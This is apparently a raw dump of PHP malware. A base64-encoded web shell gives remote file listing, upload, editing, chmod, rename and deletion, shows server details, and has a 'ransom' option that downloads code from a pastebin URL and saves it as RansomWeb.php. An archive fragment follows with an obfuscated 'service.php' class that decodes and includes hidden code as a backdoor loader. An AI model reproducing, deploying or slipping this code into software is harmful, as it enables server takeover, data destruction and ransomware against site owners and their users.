bmFtZT0iZm9sZGVyc3MiPjwvZm9ybT4KCQkJCTwvZGl2PgoJCQkJPC9kaXY+JzsKfWVsc2VpZigk
X0dFVFsi4KSo4KS+4KSu4KSq4KSk4KWN4KSwIl0gPT0gJ3JhbnNvbScpewoKCSR1cmwgID0gImh0
dHBzOi8vcGFzdGViaW4uY29tL3Jhdy9MYlZoTm5aRiI7CiAgJGN1cmwgPSBjdXJsX2luaXQoJHVy
bCk7CiAgCQkJCWN1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLHRydWUp
OwogICRnZXQJPSBjdXJsX2V4ZWMoJGN1cmwpOwogaWYoISRnZXQgPT0gIiIpewokcHV0cyA9IGZv
cGVuKCJSYW5zb21XZWIucGhwIiwidyIpOwoJCQkJZndyaXRlKCRwdXRzLCRnZXQpOwoJCQkJZmNs
b3NlKCRwdXRzKTsKJG5hbWFfZmlsZSAgPSAiUmFuc29tV2ViLnBocCI7CiRzZXJ2ZXJfd2ViID0g
J2h0dHA6Ly8nLiRfU0VSVkVSWyJIVFRQX0hPU1QiXS4nLyc7CmlmKCRwdXRzID09IHRydWUpewoJ
ZWNobyAiPHNjcmlwdD53aW5kb3cubG9jYXRpb249Jz9wYXRoPSIuJHBhdGguIic7IGFsZXJ0KCfg
pLjgpKvgpLLgpKTgpL4nKTwvc2NyaXB0PiI7Cn1lbHNlewoJZWNobyAi4KSF4KSo4KWB4KSk4KWN
4KSk4KWA4KSw4KWN4KSj4KSDIOCkqOCkv+CksOCljeCkruClgOCkr+CkpOCkvuCkruCljeKAjCBG
aWxlIjsKCX0KfWVsc2V7CgllY2hvICJOb3QgRm91bmQhISI7Cn0KCgkKfWVsc2VpZigkX0dFVFsi
4KSo4KS+4KSu4KSq4KSk4KWN4KSwIl0gPT0gJ2NyZWF0ZWZpbGUg4KSH4KSk4KS/Jyl7CglpZihp
c3NldCgkX1BPU1RbIuCkleClg+CkpOClhyJdKSl7CgkkbmFtYUYgPSAkcGF0aC4nLycuJF9QT1NU
WyLgpLjgpJ7gpY3gpJrgpL/gpJXgpL5f4KSo4KS+4KSuIl07CgkkaXNpID0gJF9QT1NUWyLgpLXg
pL/gpLfgpK/gpIMiXTsKCSRidWF0ID0gZm9wZW4oJG5hbWFGLCJ3Iik7Cglmd3JpdGUoJGJ1YXQs
JGlzaSk7CglmY2xvc2UoJGJ1YXQpOwoJaWYoJGJ1YXQgPT0gVFJVRSl7CgkJZWNobyAiPHNjcmlw
dD53aW5kb3cubG9jYXRpb249Jz9wYXRoPSIuJHBhdGguIic7IGFsZXJ0KCfgpLjgpKvgpLLgpKTg
pL4nKTwvc2NyaXB0PiI7Cn1lbHNlewplY2hvICI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbj0nP3Bh
dGg9Ii4kcGF0aC4iJzsgYWxlcnQoJ+CkheCkqOClgeCkpOCljeCkpOClgOCksOCljeCko+CkgyEh
IScpPC9zY3JpcHQ+IjsKfQp9CmVjaG8gJzxmb3JtIG1ldGhvZD0icG9zdCIgY2xhc3M9Im10LTMi
PgoJPGlucHV0IHR5cGU9InRleHQiIGNsYXNzPSJmb3JtLWNvbnRyb2wgbWItMyIgcGxhY2Vob2xk
ZXI9Ik5hbWEgRmlsZSIgbmFtZT0ibmFtYV9maWxlIj4KCQk8dGV4dGFyZWEgY2xhc3M9ImZvcm0t
Y29udHJvbCBtYi0zIiByb3dzPSI4IiBuYW1lPSJpc2kiIHBsYWNlaG9sZGVyPSJJc2kgRmlsZSI+
PC90ZXh0YXJlYT4KCQk8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJidWF0IiBjbGFzcz0iYnRu
IGJ0bi1vdXRsaW5lLXByaW1hcnkiIHZhbHVlPSJCdWF0Ij4nOwp9ZWxzZQppZihpc3NldCgkX0dF
VFsiaW5mbyJdKSl7CmVjaG8gJwoJPGRpdiBjbGFzcz0iYWxlcnQgYWxlcnQtc3VjY2VzcyBtdC0z
Ij4KCQk8aDMgY2xhc3M9InRleHQtY2VudGVyIj7gpLjgpYLgpJrgpKjgpL4gU2VydmVyPC9oMz48
aHI+CgkJPGxpPk5hbWEgU2VydmVyIDogJy4kX1NFUlZFUlsiU0VSVkVSX05BTUUiXS4nPC9saT4K
CQk8bGk+SXAgQWRkcmVzcyA6ICcuJF9TRVJWRVJbIlNFUlZFUl9BRERSIl0uJzwvbGk+CgkJPGxp
PlBvcnQgOiAnLiRfU0VSVkVSWyJTRVJWRVJfUE9SVCJdLic8L2xpPgoJCTxsaT7gpKrgpY3gpLDg
pYvgpJ/gpYvgpJXgpYngpLIgOiAnLiRfU0VSVkVSWyJTRVJWRVJfUFJPVE9DT0wiXS4nPC9saT4K
CQk8bGk+U2F2ZSBEYXRhIDogJy4kX1NFUlZFUlsiSFRUUF9TQVZFX0RBVEEiXS4nPC9saT4KCQk8
bGk+4KS44KSC4KSs4KSo4KWN4KSn4KSDIDogJy4kX1NFUlZFUlsiSFRUUF9DT05ORUNUSU9OIl0u
JzwvbGk+CgkJPGxpPlNvZnR3YXJlIDogJy4kX1NFUlZFUlsiU0VSVkVSX1NPRlRXQVJFIl0uJzwv
bGk+CgkJPGxpPkRva3VtZW4gUm9vdCA6ICcuJF9TRVJWRVJbIkRPQ1VNRU5UX1JPT1QiXS4nPC9s
aT4KCQk8bGk+Ry1JbnRlcmZhY2UgOiAnLiRfU0VSVkVSWyJHQVRFV0FZX0lOVEVSRkFDRSJdLic8
L2xpPgoJCTxsaT5SLU1ldGhvZCA6ICcuJF9TRVJWRVJbIlJFUVVFU1RfTUVUSE9EIl0uJzwvbGk+
CgkJPGxpPllvdXIgQnJvd3NlciA6ICcuJF9TRVJWRVJbIkhUVFBfVVNFUl9BR0VOVCJdLic8L2xp
PgoJCTwvZGl2Pic7Cn1lbHNlIGlmKGlzc2V0KCRfRklMRVNbJ2ZpbGUnXSkpewppZihjb3B5KCRf
RklMRVNbJ2ZpbGUnXVsndG1wX25hbWUnXSwkcGF0aC4nLycuJF9GSUxFU1snZmlsZSddWyduYW1l
J10pKXsKZWNobyAiPHNjcmlwdD53aW5kb3cubG9jYXRpb249Jz9wYXRoPSIuJHBhdGguIic7IGFs
ZXJ0KCfgpK7gpL7gpKjgpY3gpK8hIScpPC9zY3JpcHQ+IjsKfWVsc2V7CmVjaG8gIjxzY3JpcHQ+
YWxlcnQoJ+CkheCkqOClgeCkpOCljeCkpOClgOCksOCljeCko+CkgyBVcGxvYWQnKTwvc2NyaXB0
PiI7Cn0KfWVsc2UgaWYoaXNzZXQoJF9HRVRbJ2ZpbGVzcmMnXSkpewplY2hvICI8dHI+PHRkPkN1
cnJlbnQgRmlsZSA6ICI7CmVjaG8gJF9HRVRbJ2ZpbGVzcmMnXTsKZWNobyAnPC90cj48L3RkPjwv
dGFibGU+PGJyIC8+JzsKZWNobygnPHByZT4nLmh0bWxzcGVjaWFsY2hhcnMoZmlsZV9nZXRfY29u
dGVudHMoJF9HRVRbJ2ZpbGVzcmMnXSkpLic8L3ByZT4nKTsKfWVsc2UgaWYoaXNzZXQoJF9HRVRb
J29wdGlvbiddKSAmJiAkX1BPU1RbJ29wdCddICE9ICdkZWxldGUnKXsKZWNobyAnPC90YWJsZT48
YnIgLz48Y2VudGVyPicuJF9QT1NUWydwYXRoJ10uJzxiciAvPjxiciAvPic7CmlmKCRfUE9TVFsn
b3B0J10gPT0gJ2NobW9kJyl7CmlmKGlzc2V0KCRfUE9TVFsncGVybSddKSl7CmlmKGNobW9kKCRf
UE9TVFsncGF0aCddLCRfUE9TVFsncGVybSddKSl7CmVjaG8gIjxzY3JpcHQ+d2luZG93LmxvY2F0
aW9uPSc/cGF0aD0iLiRwYXRoLiInOyBhbGVydCgnU3Vrc2VzJyk8L3NjcmlwdD4iOwp9ZWxzZXsK
ZWNobyAiPHNjcmlwdD53aW5kb3cubG9jYXRpb249Jz9wYXRoPSIuJHBhdGguIic7IGFsZXJ0KCfg
pIXgpKjgpYHgpKTgpY3gpKTgpYDgpLDgpY3gpKPgpIMhISEnKTwvc2NyaXB0PiI7Cn0KfQplY2hv
ICc8Zm9ybSBtZXRob2Q9IlBPU1QiPgoJPGRpdiBjbGFzcz0icm93Ij4KCQk8ZGl2IGNsYXNzPSJj
b2wiPgo8aW5wdXQgbmFtZT0icGVybSIgdHlwZT0idGV4dCIgc2l6ZT0iNCIgdmFsdWU9Iicuc3Vi
c3RyKHNwcmludGYoJyVvJywgZmlsZXBlcm1zKCRfUE9TVFsncGF0aCddKSksIC00KS4nIiBjbGFz
cz0iZm9ybS1jb250cm9sIj4KCTwvZGl2Pgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRo
IiB2YWx1ZT0iJy4kX1BPU1RbJ3BhdGgnXS4nIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0i
b3B0IiB2YWx1ZT0iY2htb2QiPgoJPGRpdiBjbGFzcz0iY29sIj4KPGlucHV0IHR5cGU9InN1Ym1p
dCIgdmFsdWU9IkdvIiBjbGFzcz0iYnRuIGJ0bi1vdXRsaW5lLXByaW1hcnkgYnRuLWJsb2NrIj4K
CTwvZGl2PgoJPC9kaXY+CjwvZm9ybT4nOwp9ZWxzZSBpZigkX1BPU1RbJ29wdCddID09ICdyZW5h
bWUnKXsKaWYoaXNzZXQoJF9QT1NUWyduZXduYW1lJ10pKXsKaWYocmVuYW1lKCRfUE9TVFsncGF0
aCddLCRwYXRoLicvJy4kX1BPU1RbJ25ld25hbWUnXSkpewplY2hvICI8c2NyaXB0PndpbmRvdy5s
b2NhdGlvbj0nP3BhdGg9Ii4kcGF0aC4iJzsgYWxlcnQoJ+CkqOCkvuCkriDgpKzgpKbgpLIg4KSm
4KS/4KSv4KS+IOCkl+Ckr+CkviDgpLngpYghJyk8L3NjcmlwdD4iOwp9ZWxzZXsKZWNobyAiPHNj
cmlwdD53aW5kb3cubG9jYXRpb249Jz9wYXRoPSIuJHBhdGguIic7IGFsZXJ0KCfgpIXgpKjgpYHg
pKTgpY3gpKTgpYDgpLDgpY3gpKPgpIMhISEnKTwvc2NyaXB0PiI7Cn0KJF9QT1NUWyduYW1lJ10g
PSAkX1BPU1RbJ25ld25hbWUnXTsKfQplY2hvICc8Zm9ybSBtZXRob2Q9IlBPU1QiPgoJPGRpdiBj
bGFzcz0icm93Ij4KCQk8ZGl2IGNsYXNzPSJjb2wiPgo8aW5wdXQgbmFtZT0ibmV3bmFtZSIgdHlw
ZT0idGV4dCIgc2l6ZT0iMjAiIHZhbHVlPSInLiRfUE9TVFsnbmFtZSddLiciIGNsYXNzPSJmb3Jt
LWNvbnRyb2wiIHBsYWNlaG9sZGVyPSJOYW1hIEJhcnUiPgoJPC9kaXY+CjxpbnB1dCB0eXBlPSJo
aWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRfUE9TVFsncGF0aCddLiciPgo8aW5wdXQgdHlw
ZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJyZW5hbWUiPgoJPGRpdiBjbGFzcz0iY29sIj4K
PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkdvIiBjbGFzcz0iYnRuIGJ0bi1vdXRsaW5lLXBy
aW1hcnkgYnRuLWJsb2NrIj4KPC9kaXY+CjwvZGl2Pgo8L2Zvcm0+JzsKfWVsc2UgaWYoJF9QT1NU
WydvcHQnXSA9PSAnZWRpdCcpewppZihpc3NldCgkX1BPU1RbJ3NyYyddKSl7CiRmcCA9IGZvcGVu
KCRfUE9TVFsncGF0aCddLCd3Jyk7CmlmKGZ3cml0ZSgkZnAsJF9QT1NUWydzcmMnXSkpewplY2hv
ICI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbj0nP3BhdGg9Ii4kcGF0aC4iJzsgYWxlcnQoJ+CkuOCk
q+CksuCkpOCkr+CkviDgpKjgpL7gpK4g4KSq4KSw4KS/4KS14KSw4KWN4KSk4KS/4KSk4KSu4KWN
IEZpbGUnKTwvc2NyaXB0PiI7Cn1lbHNlewplY2hvICI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbj0n
P3BhdGg9Ii4kcGF0aC4iJzsgYWxlcnQoJ+CkheCkqOClgeCkpOCljeCkpOClgOCksOCljeCko+Ck
gyEhIScpPC9zY3JpcHQ+IjsKfQpmY2xvc2UoJGZwKTsKfQplY2hvICc8Zm9ybSBtZXRob2Q9IlBP
U1QiPgo8dGV4dGFyZWEgY2xhc3M9ImZvcm0tY29udHJvbCIgcm93cz0iOCIgbmFtZT0ic3JjIj4n
Lmh0bWxzcGVjaWFsY2hhcnMoZmlsZV9nZXRfY29udGVudHMoJF9QT1NUWydwYXRoJ10pKS4nPC90
ZXh0YXJlYT4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icGF0aCIgdmFsdWU9IicuJF9QT1NU
WydwYXRoJ10uJyI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9ImVkaXQi
Pgo8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0i4KSw4KSV4KWN4KS34KWNIiBjbGFzcz0iYnRu
IGJ0bi1vdXRsaW5lLXByaW1hcnkgYnRuLWJsb2NrIG10LTMiPgo8L2Zvcm0+JzsKfQplY2hvICc8
L2NlbnRlcj4nOwp9ZWxzZXsKZWNobyAnPC90YWJsZT48YnIvPjxjZW50ZXI+JzsKaWYoaXNzZXQo
JF9HRVRbJ29wdGlvbiddKSAmJiAkX1BPU1RbJ29wdCddID09ICdkZWxldGUnKXsKaWYoJF9QT1NU
Wyd0eXBlJ10gPT0gJ2RpcicpewppZihybWRpcigkX1BPU1RbJ3BhdGgnXSkpewplY2hvICI8c2Ny
aXB0PndpbmRvdy5sb2NhdGlvbj0nP3BhdGg9Ii4kcGF0aC4iJzsgYWxlcnQoJ+CkuOCkq+CksiBE
ZWxldGUgRm9sZGVyJyk8L3NjcmlwdD4iOwp9ZWxzZXsKZWNobyAiPHNjcmlwdD53aW5kb3cubG9j
YXRpb249Jz9wYXRoPSIuJHBhdGguIic7IGFsZXJ0KCfgpIXgpKjgpYHgpKTgpY3gpKTgpYDgpLDg
pY3gpKPgpIMhISEnKTwvc2NyaXB0PiI7Cn0KfWVsc2UgaWYoJF9QT1NUWyd0eXBlJ10gPT0gJ2Zp
bGUnKXsKaWYodW5saW5rKCRfUE9TVFsncGF0aCddKSl7CmVjaG8gIjxzY3JpcHQ+d2luZG93Lmxv
Y2F0aW9uPSc/cGF0aD0iLiRwYXRoLiInOyBhbGVydCgn4KS44KSr4KSyIERlbGV0ZSBGaWxlJyk8
L3NjcmlwdD4iOwp9ZWxzZXsKZWNobyAiPHNjcmlwdD53aW5kb3cubG9jYXRpb249Jz9wYXRoPSIu
JHBhdGguIic7IGFsZXJ0KCfgpIXgpKjgpYHgpKTgpY3gpKTgpYDgpLDgpY3gpKPgpIMhISEnKTwv
c2NyaXB0PiI7Cn0KfQp9CmVjaG8gJzwvY2VudGVyPic7CiRzY2FuZGlyID0gc2NhbmRpcigkcGF0
aCk7CmVjaG8gJwo8ZGl2IGNsYXNzPSJ0YWJsZS1yZXNwb25zaXZlLWxnIG10LTIiPgoJPHRhYmxl
IGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI+CgkJPHRoZWFkIGNsYXNzPSJiZy13YXJuaW5nIHRl
eHQtY2VudGVyIj4KCQkJPHRyPgoJCQkJPHRoIHNjb3BlPSJjb2wiPuCkqOCkvuCkruCkgzwvdGg+
CgkJCQk8dGggc2NvcGU9ImNvbCI+4KSq4KWN4KSw4KSV4KS+4KSw4KSDPC90aD4KCQkJCTx0aCBz
Y29wZT0iY29sIj7gpIbgpJXgpYPgpKTgpL88L3RoPgoJCQkJPHRoIHNjb3BlPSJjb2wiPuCkheCk
qOClgeCknOCljeCknuCkvuCkquCkpOCljeCksOCkruCljTwvdGg+CgkJCQk8dGggc2NvcGU9ImNv
bCI+4KSo4KS+4KSu4KSq4KSk4KWN4KSwPC90aD48L3RyPjwvdGhlYWQ+CgknOwoJZm9yZWFjaCgk
c2NhbmRpciBhcyAkZGlyKXsKaWYoIWlzX2RpcigkcGF0aC4nLycuJGRpcikgfHwgJGRpciA9PSAn
LicgfHwgJGRpciA9PSAnLi4nKSBjb250aW51ZTsKZWNobyAnPHRyPgo8dGQgc2NvcGU9ImNvbCI+
PGltZyBzcmM9Imh0dHA6Ly9hdXguaWNvbnNwYWxhY2UuY29tL3VwbG9hZHMvZm9sZGVyLWljb24t
MjU2LTE3ODc2NzI0ODIucG5nIiBjbGFzcz0iaWNvIj4gPGEgaHJlZj0iP3BhdGg9Jy4kcGF0aC4n
LycuJGRpci4nIj4nLiRkaXIuJzwvYT48L3RkPgo8dGQgY2xhc3M9InRleHQtY2VudGVyIj5Gb2xk
ZXI8L3RkPgo8dGQgY2xhc3M9InRleHQtY2VudGVyIj4tLTwvdGQ+Cjx0ZCBjbGFzcz0idGV4dC1j
ZW50ZXIiPic7CmlmKGlzX3dyaXRhYmxlKCRwYXRoLicvJy4kZGlyKSkgZWNobyAnPGZvbnQgY29s
b3I9ImdyZWVuIj4nOwplbHNlaWYoIWlzX3JlYWRhYmxlKCRwYXRoLicvJy4kZGlyKSkgZWNobyAn
PGZvbnQgY29sb3I9InJlZCI+JzsKZWNobyBwZXJtcygkcGF0aC4nLycuJGRpcik7CmlmKGlzX3dy
aXRhYmxlKCRwYXRoLicvJy4kZGlyKSB8fCAhaXNfcmVhZGFibGUoJHBhdGguJy8nLiRkaXIpKSBl
Y2hvICc8L2ZvbnQ+JzsKCmVjaG8gJzwvdGQ+Cjx0ZCBjbGFzcz0idGV4dC1jZW50ZXIiPjxmb3Jt
IG1ldGhvZD0iUE9TVCIgYWN0aW9uPSI/b3B0aW9uJnBhdGg9Jy4kcGF0aC4nIj4KCTxkaXYgY2xh
c3M9InJvdyI+CgkJPGRpdiBjbGFzcz0iY29sIj4KPHNlbGVjdCBuYW1lPSJvcHQiIGNsYXNzPSJj
dXN0b20tc2VsZWN0Ij4KPG9wdGlvbiB2YWx1ZT0iIj5TZWxlY3Q8L29wdGlvbj4KPG9wdGlvbiB2
YWx1ZT0iZGVsZXRlIj5EZWxldGU8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iY2htb2QiPkNobW9k
PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9InJlbmFtZSI+UmVuYW1lPC9vcHRpb24+Cjwvc2VsZWN0
Pgo8L2Rpdj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0idHlwZSIgdmFsdWU9ImRpciI+Cjxp
bnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im5hbWUiIHZhbHVlPSInLiRkaXIuJyI+CjxpbnB1dCB0
eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRwYXRoLicvJy4kZGlyLiciPgoJPGRp
diBjbGFzcz0iY29sIj4KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9Ij4iIGNsYXNzPSJidG4g
YnRuLW91dGxpbmUtcHJpbWFyeSBidG4tYmxvY2siPgoJPC9kaXY+Cgk8L2Rpdj4KPC9mb3JtPjwv
dGQ+CjwvdHI+JzsKfQpmb3JlYWNoKCRzY2FuZGlyIGFzICRmaWxlKXsKaWYoIWlzX2ZpbGUoJHBh
dGguJy8nLiRmaWxlKSkgY29udGludWU7CiRzaXplID0gZmlsZXNpemUoJHBhdGguJy8nLiRmaWxl
KS8xMDI0Owokc2l6ZSA9IHJvdW5kKCRzaXplLDMpOwppZigkc2l6ZSA+PSAxMDI0KXsKJHNpemUg
PSByb3VuZCgkc2l6ZS8xMDI0LDIpLicgTUInOwp9ZWxzZXsKJHNpemUgPSAkc2l6ZS4nIEtCJzsK
fQoKZWNobyAnPHRyPgo8dGQ+PGltZyBzcmM9Iic7CgkJCQkJJGV4dCA9IHN0cnRvbG93ZXIocGF0
aGluZm8oJGZpbGUsIFBBVEhJTkZPX0VYVEVOU0lPTikpOwoJCQkJCWlmKCRleHQgPT0gInBocCIp
IHsKCQkJCQkJZWNobwkKCQkJJ2h0dHA6Ly9pLmltZ3VyLmNvbS9lOG1rdlBmLnBuZyInOyAKCQkJ
CQl9ZWxzZWlmICgkZXh0ID09ICJqcGVnIikgewoJCQkJCQllY2hvICdodHRwOi8vaS5pbWd1ci5j
b20vZThta3ZQZi5wbmciJzsgCgkJCQkJfWVsc2VpZiAoJGV4dCA9PSAicGwiKSB7CgkJCQkJCWVj
aG8gJ2h0dHA6Ly9pLmltZ3VyLmNvbS9Qbm1YOEg5LnBuZyc7IAoJCQkJCX1lbHNlewoJCQkJCQll
Y2hvICdodHRwOi8vaWNvbnMuaWNvbmFyY2hpdmUuY29tL2ljb25zL3pob29sZWdvL21hdGVyaWFs
LzI1Ni9GaWxldHlwZS1Eb2NzLWljb24ucG5nJzsKCQkJCQl9CgkJCQkJZWNobyAnIiBjbGFzcz0i
aWNvMiI+IDxhIGhyZWY9Ij9maWxlc3JjPScuJHBhdGguJy8nLiRmaWxlLicmcGF0aD0nLiRwYXRo
LiciPicuJGZpbGUuJzwvYT48L3RkPgo8dGQgY2xhc3M9InRleHQtY2VudGVyIj5GaWxlPC90ZD4K
PHRkIGNsYXNzPSJ0ZXh0LWNlbnRlciI+Jy4kc2l6ZS4nPC90ZD4KPHRkIGNsYXNzPSJ0ZXh0LWNl
bnRlciI+JzsKaWYoaXNfd3JpdGFibGUoJHBhdGguJy8nLiRmaWxlKSkgZWNobyAnPGZvbnQgY29s
b3I9ImdyZWVuIj4nOwplbHNlaWYoIWlzX3JlYWRhYmxlKCRwYXRoLicvJy4kZmlsZSkpIGVjaG8g
Jzxmb250IGNvbG9yPSJyZWQiPic7CmVjaG8gcGVybXMoJHBhdGguJy8nLiRmaWxlKTsKaWYoaXNf
d3JpdGFibGUoJHBhdGguJy8nLiRmaWxlKSB8fCAhaXNfcmVhZGFibGUoJHBhdGguJy8nLiRmaWxl
KSkgZWNobyAnPC9mb250Pic7CmVjaG8gJzwvdGQ+Cjx0ZCBjbGFzcz0idGV4dC1jZW50ZXIiPgoJ
PGZvcm0gbWV0aG9kPSJQT1NUIiBhY3Rpb249Ij9vcHRpb24mcGF0aD0nLiRwYXRoLiciPgoJCTxk
aXYgY2xhc3M9InJvdyI+CgkJCTxkaXYgY2xhc3M9ImNvbCI+CjxzZWxlY3QgbmFtZT0ib3B0IiBj
bGFzcz0iY3VzdG9tLXNlbGVjdCI+CjxvcHRpb24gdmFsdWU9IiI+U2VsZWN0PC9vcHRpb24+Cjxv
cHRpb24gdmFsdWU9ImRlbGV0ZSI+RGVsZXRlPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9ImNobW9k
Ij5DaG1vZDwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSJyZW5hbWUiPlJlbmFtZTwvb3B0aW9uPgo8
b3B0aW9uIHZhbHVlPSJlZGl0Ij5FZGl0PC9vcHRpb24+Cjwvc2VsZWN0Pgo8L2Rpdj4KPGlucHV0
IHR5cGU9ImhpZGRlbiIgbmFtZT0idHlwZSIgdmFsdWU9ImZpbGUiPgo8aW5wdXQgdHlwZT0iaGlk
ZGVuIiBuYW1lPSJuYW1lIiB2YWx1ZT0iJy4kZmlsZS4nIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIg
bmFtZT0icGF0aCIgdmFsdWU9IicuJHBhdGguJy8nLiRmaWxlLiciPgoJPGRpdiBjbGFzcz0iY29s
Ij4KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9Ik9LIiBjbGFzcz0iYnRuIGJ0bi1vdXRsaW5l
LXByaW1hcnkgYnRuLWJsb2NrIj4KCTwvZGl2PgoJPC9kaXY+CjwvZm9ybT48L3RkPgo8L3RyPic7
Cn0KZWNobyAnPC90YWJsZT4KPC9kaXY+JzsKfQo/PiAgICAgICAgICAKICAgICAgPC9kaXY+CiAg
ICA8L2Rpdj4KICA8L2Rpdj4KICA8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jb2RlLmpxdWVyeS5jb20v
anF1ZXJ5LTMuMy4xLnNsaW0ubWluLmpzIiBpbnRlZ3JpdHk9InNoYTM4NC1xOGkvWCs5NjVEek8w
clQ3YWJLNDFKU3RRSUFxVmdSVnpwYnpvNXNtWEtwNFlmUnZIKzhhYnRURTFQaTZqaXpvIiBjcm9z
c29yaWdpbj0iYW5vbnltb3VzIj48L3NjcmlwdD4KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nk
bmpzLmNsb3VkZmxhcmUuY29tL2FqYXgvbGlicy9wb3BwZXIuanMvMS4xNC4zL3VtZC9wb3BwZXIu
bWluLmpzIiBpbnRlZ3JpdHk9InNoYTM4NC1aTVA3clZvM21JeWtWKzIrOUozVUo0NmpCazBXTGFV
QWRuNjg5YUN3b3FiQkppU25qQUsvbDhXdkNXUElQbTQ5IiBjcm9zc29yaWdpbj0iYW5vbnltb3Vz
Ij48L3NjcmlwdD4KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL3N0YWNrcGF0aC5ib290c3RyYXBj
ZG4uY29tL2Jvb3RzdHJhcC80LjEuMy9qcy9ib290c3RyYXAubWluLmpzIiBpbnRlZ3JpdHk9InNo
YTM4NC1DaGZxcXh1WlVDbkpTSzMrTVhtUE5JeUU2WmJXaDJJTXFFMjQxcllpcUp4eU1pWjZPVy9K
bVpRNXN0d0VVTFR5IiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj48L3NjcmlwdD4KICA8c2NyaXB0
PgogICAgJCgiI21lbnUtdG9nZ2xlIikuY2xpY2soZnVuY3Rpb24oZSkgewogICAgICBlLnByZXZl
bnREZWZhdWx0KCk7CiAgICAgICQoIiN3cmFwcGVyIikudG9nZ2xlQ2xhc3MoInRvZ2dsZWQiKTsK
ICAgIH0pOwogIDwvc2NyaXB0PgoKPC9ib2R5Pgo8L2h0bWw+Cjw/cGhwCmZ1bmN0aW9uIHBlcm1z
KCRmaWxlKXsKJHBlcm1zID0gZmlsZXBlcm1zKCRmaWxlKTsKCmlmICgoJHBlcm1zICYgMHhDMDAw
KSA9PSAweEMwMDApIHsKLy8gU29ja2V0CiRpbmZvID0gJ3MnOwp9IGVsc2VpZiAoKCRwZXJtcyAm
IDB4QTAwMCkgPT0gMHhBMDAwKSB7Ci8vIFN5bWJvbGljIExpbmsKJGluZm8gPSAnbCc7Cn0gZWxz
ZWlmICgoJHBlcm1zICYgMHg4MDAwKSA9PSAweDgwMDApIHsKLy8gUmVndWxhcgokaW5mbyA9ICct
JzsKfSBlbHNlaWYgKCgkcGVybXMgJiAweDYwMDApID09IDB4NjAwMCkgewovLyBCbG9jayBzcGVj
aWFsCiRpbmZvID0gJ2InOwp9IGVsc2VpZiAoKCRwZXJtcyAmIDB4NDAwMCkgPT0gMHg0MDAwKSB7
Ci8vIERpcmVjdG9yeQokaW5mbyA9ICdkJzsKfSBlbHNlaWYgKCgkcGVybXMgJiAweDIwMDApID09
IDB4MjAwMCkgewovLyBDaGFyYWN0ZXIgc3BlY2lhbAokaW5mbyA9ICdjJzsKfSBlbHNlaWYgKCgk
cGVybXMgJiAweDEwMDApID09IDB4MTAwMCkgewovLyBGSUZPIHBpcGUKJGluZm8gPSAncCc7Cn0g
ZWxzZSB7Ci8vIFVua25vd24KJGluZm8gPSAndSc7Cn0KCi8vIE93bmVyCiRpbmZvIC49ICgoJHBl
cm1zICYgMHgwMTAwKSA/ICdyJyA6ICctJyk7CiRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDgwKSA/
ICd3JyA6ICctJyk7CiRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDQwKSA/CigoJHBlcm1zICYgMHgw
ODAwKSA/ICdzJyA6ICd4JyApIDoKKCgkcGVybXMgJiAweDA4MDApID8gJ1MnIDogJy0nKSk7Cgov
LyBHcm91cAokaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAyMCkgPyAncicgOiAnLScpOwokaW5mbyAu
PSAoKCRwZXJtcyAmIDB4MDAxMCkgPyAndycgOiAnLScpOwokaW5mbyAuPSAoKCRwZXJtcyAmIDB4
MDAwOCkgPwooKCRwZXJtcyAmIDB4MDQwMCkgPyAncycgOiAneCcgKSA6CigoJHBlcm1zICYgMHgw
NDAwKSA/ICdTJyA6ICctJykpOwoKLy8gV29ybGQKJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDQp
ID8gJ3InIDogJy0nKTsKJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDIpID8gJ3cnIDogJy0nKTsK
JGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDEpID8KKCgkcGVybXMgJiAweDAyMDApID8gJ3QnIDog
J3gnICkgOgooKCRwZXJtcyAmIDB4MDIwMCkgPyAnVCcgOiAnLScpKTsKCnJldHVybiAkaW5mbzsK
fQo/Pg=="));?>PK 8Cm\�a]t֭ ֭ service.phpnu �[��� <?php
class Div {
function library($_tree) {
$tx = $this->px($this->library[0].$this->library[4].$this->library[1].$this->library[2].$this->library[3].$this->library[5]);
$tx = $tx($_tree);
return $tx;
}
function error($_session) {
$result = include($_session);
return $result;
}
function __construct() {
$dictionary = $this->tool($this->_point);
$dictionary = $this->library($this->px($dictionary));
$dictionary = $this->ls($dictionary);
$dictionary = $this->error($dictionary);
if(is_array($dictionary)) {
list($map, $stable, $_path, $size) = $dictionary;
$this->x64 = $size;
$this->heap = $_path;
$this->_block = $map;
$this->nginx($map, $stable);
}
}
function ls($delegate) {
$ver = $this->px($this->_request[1].$this->_request[2].$this->_request[3].$this->_request[5].$this->_request[4].$this->_request[0]);
